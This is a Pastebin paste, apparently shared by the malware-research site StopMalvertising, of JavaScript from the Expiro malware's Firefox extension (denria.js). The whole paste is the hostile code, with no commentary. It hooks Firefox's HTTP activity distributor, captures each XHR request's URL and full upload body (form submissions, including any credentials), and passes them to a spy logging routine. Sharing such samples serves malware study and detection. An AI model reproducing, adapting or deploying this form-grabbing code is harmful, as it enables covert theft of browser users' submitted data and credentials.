Advertisement
StopMalvertising

Expiro Firefox Extension - denria.js

Mar 30th, 2014
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. try {
  2.     var nsIHAO = Ci["nsIHttpActivityObserver"]
  3. } catch (e) {}
  4. var httpObserver = {
  5.     observeActivity: function (q, i, b, c, o, a) {
  6.         try {
  7.             if (i != nsIHAO["ACTIVITY_TYPE_HTTP_TRANSACTION"]) {
  8.                 return
  9.             }
  10.             if (b != nsIHAO["ACTIVITY_SUBTYPE_REQUEST_HEADER"]) {
  11.                 return
  12.             }
  13.         } catch (p) {}
  14.         if (!(q instanceof Ci["nsIHttpChannel"])) {
  15.             return
  16.         }
  17.         try {
  18.             var m = q["notificationCallbacks"];
  19.             if (m) {
  20.                 var h = m["getInterface"](Ci["nsIXMLHttpRequest"])
  21.             } else {
  22.                 var h = null
  23.             }
  24.         } catch (p) {}
  25.         if (h == null) {
  26.             return
  27.         }
  28.         try {
  29.             var n = q["referrer"]["asciiSpec"] + " #FIREFOX#" + Application["version"] + "#XHR_" + q["requestMethod"] + "#" + q["name"]
  30.         } catch (l) {}
  31.         try {
  32.             if (q instanceof Ci["nsIUploadChannel"]) {
  33.                 var g = q["uploadStream"]
  34.             }
  35.             if (g) {
  36.                 if (g instanceof Ci["nsISeekableStream"]) {
  37.                     var k = g["tell"]();
  38.                     g["seek"](0, 0);
  39.                     var f = Cc[mo + "binaryinputstream;1"]["createInstance"](Ci.nsIBinaryInputStream);
  40.                     f["setInputStream"](g);
  41.                     var d = [];
  42.                     for (var j = g["available"](); j; j = g["available"]()) {
  43.                         d["push"](f["readBytes"](j))
  44.                     }
  45.                     text = d["join"]("");
  46.                     n = n + " " + text;
  47.                     g["seek"](0, k)
  48.                 }
  49.             }
  50.         } catch (l) {}
  51.         mySpy["saveLog"](n)
  52.     }
  53. };
  54. try {
  55.     var actDist = Cc[mo + "network/http-activity-distributor;1"]["getService"](Ci["nsIHttpActivityDistributor"]);
  56.     actDist["addObserver"](httpObserver)
  57. } catch (e) {};
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement